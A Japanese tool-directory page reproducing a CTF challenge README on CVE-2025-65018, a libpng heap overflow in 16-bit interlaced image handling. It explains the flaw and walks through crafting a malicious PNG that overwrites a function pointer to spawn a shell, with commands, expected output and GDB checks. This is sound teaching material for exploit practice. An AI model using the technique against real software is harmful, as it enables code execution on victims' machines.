Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-65018_Exploit_Challenge — CTFチャレンジ:libpngのpng_image_finish_readにおけるヒープオーバーフローを悪用し、関数ポインタを上書きしてシェルを起動する。ビルドスクリプトとエクスプロイト生成ツール付き。 | Kitploit
ツール/GitHubGitHub/bohemian-miser/cve-2025-65018_exploit_challenge
脆弱性分析エクスプロイトCTF学習と教育バイナリエクスプロイトラボと実践
GitHubbohemian-miser/cve-2025-65018_exploit_challenge

CVE-2025-65018_Exploit_Challenge

CTFチャレンジ:libpngのpng_image_finish_readにおけるヒープオーバーフローを悪用し、関数ポインタを上書きしてシェルを起動する。ビルドスクリプトとエクスプロイト生成ツール付き。

リポジトリを見る
129ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-65018 CTFチャレンジ: "PNG Panic"

このチャレンジは、libpng の実世界のバッファオーバーフロー脆弱性に基づいています(具体的には、16ビットのインターレース画像を処理する際の簡易API png_image_finish_read に関するものです)。

🚩 チャレンジの目標

提供される脆弱なバイナリ victim は、静的にリンクされた脆弱なバージョンの libpng を使用しています。このアプリケーションは、exploit.png という名前のPNGファイルをバッファに読み込みます。

あなたの目的は、ヒープオーバーフローを引き起こす悪意のあるPNGファイルを作成し、画像バッファの直後にある Logger 構造体内の関数ポインタを上書きして、実行を win() 関数にリダイレクトし、シェルを起動することです。


🛠️ セットアップとビルド

前提条件: gcc, , , , , , 。

make
python3
git
autoconf
automake
libtool
  1. リポジトリをクローン:

    root@kitploit:~
    git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
    cd CVE-2025-65018_Exploit_Challenge
    
  2. チャレンジをビルド(脆弱なlibpngを含む):

    root@kitploit:~
    ./build.sh
    

    このスクリプトは以下を行います:

    • 同梱の libpng ソースコードを構成し、パッチを適用して脆弱性を有効にします。
    • 静的 libpng ライブラリをビルドします。
    • victim バイナリをコンパイルします。

🔍 脆弱性の詳細

この脆弱性は、libpng が16ビットの入力を8ビットの出力に変換する際にインターレース画像を処理する方法に存在します。

  1. 不一致: アプリケーションは8ビットの出力形式 (PNG_FORMAT_RGBA) を要求します。libpng は8ビットデータに十分なバッファサイズを割り当てます。
  2. 欠陥: インターレースパス (Adam7) の処理中に、内部関数 png_combine_row が出力バッファに対して入力の16ビットのビット深度でデータを誤って書き込みます。
  3. 結果: すべてのピクセルについて、チャネルごとに1バイトではなく2バイトを書き込むため、その行の期待されるデータ量の2倍を書き込むことになり、ヒープバッファがオーバーフローします。

💥 エクスプロイトのウォークスルー

1. ターゲットアドレスの特定

バイナリには、execl("/bin/sh", ...) を呼び出すヘルパー関数 win() が含まれています。そのアドレスが必要です。このバイナリは -no-pie でコンパイルされているため、アドレスは静的です。

root@kitploit:~
nm victim | grep win
# Output: 00000000004013e0 T win

ターゲットアドレス: 0x4013e0

2. ペイロードの作成 (solve.py)

有効なPNGを作成する必要があります:

  1. 脆弱なコードパスをトリガーするためにインターレース (Adam7) であること。
  2. ヘッダー (IHDR) で16ビット深度を指定していること。
  3. 16ビット値として書き込まれると、目的のペイロード (win のアドレス) を形成するピクセルデータを持つこと。

solve.py スクリプトは以下を行います:

  • 32x32 の画像を構築します。
  • Logger 構造体までのオフセット(バッファの開始から 4096 バイト後)を計算します。
  • 最終行のピクセルデータに win アドレスを配置します。
  • データを IDAT チャンクに圧縮します。

ペイロードレイアウト:

win アドレス 0x4013e0 (リトルエンディアン: E0 13 40 00 ...) を16ビットRGBピクセルにエンコードする必要があります。

  • 各16ビットチャネルは2バイトです。
  • アドレスのバイトを最終行の特定ピクセルのRed、Green、Blueチャネルにマッピングします。

3. エクスプロイトの実行

悪意のあるPNGを生成:

root@kitploit:~
python3 solve.py 4013e0

これにより exploit.png が作成されます。

victimを実行:

root@kitploit:~
./victim

期待される出力:

root@kitploit:~
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$ 

🐛 GDB解析

オーバーフローの動作を確認するには、GDBを使用できます。

1. 脆弱な呼び出しの前にブレークポイントを設定:

root@kitploit:~
break 62
run

2. 上書きを監視: Logger 構造体はオフセット4096にあります。ターゲットの関数ポインタを監視しましょう。

root@kitploit:~
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue

3. トリガー: GDBは、png_combine_row が関数ポインタに書き込むと停止します。

root@kitploit:~
Hardware watchpoint 2: *0x7fffffffc8f0

Old value = 4199366  (0x4013c6 <normal_log>)
New value = 4199392  (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()

これにより、libpng が私たちのポインタを win のアドレスで上書きしたことが確認できます!


📁 ファイル

  • victim.c: 脆弱なソースコード。
  • solve.py: エクスプロイト生成スクリプト。
  • libpng-src/: libpng (v1.6.37) のソースコード。
  • build.sh: すべてをコンパイルするスクリプト。
  • Makefile: victimバイナリのビルドシステム。
ツールをダウンロード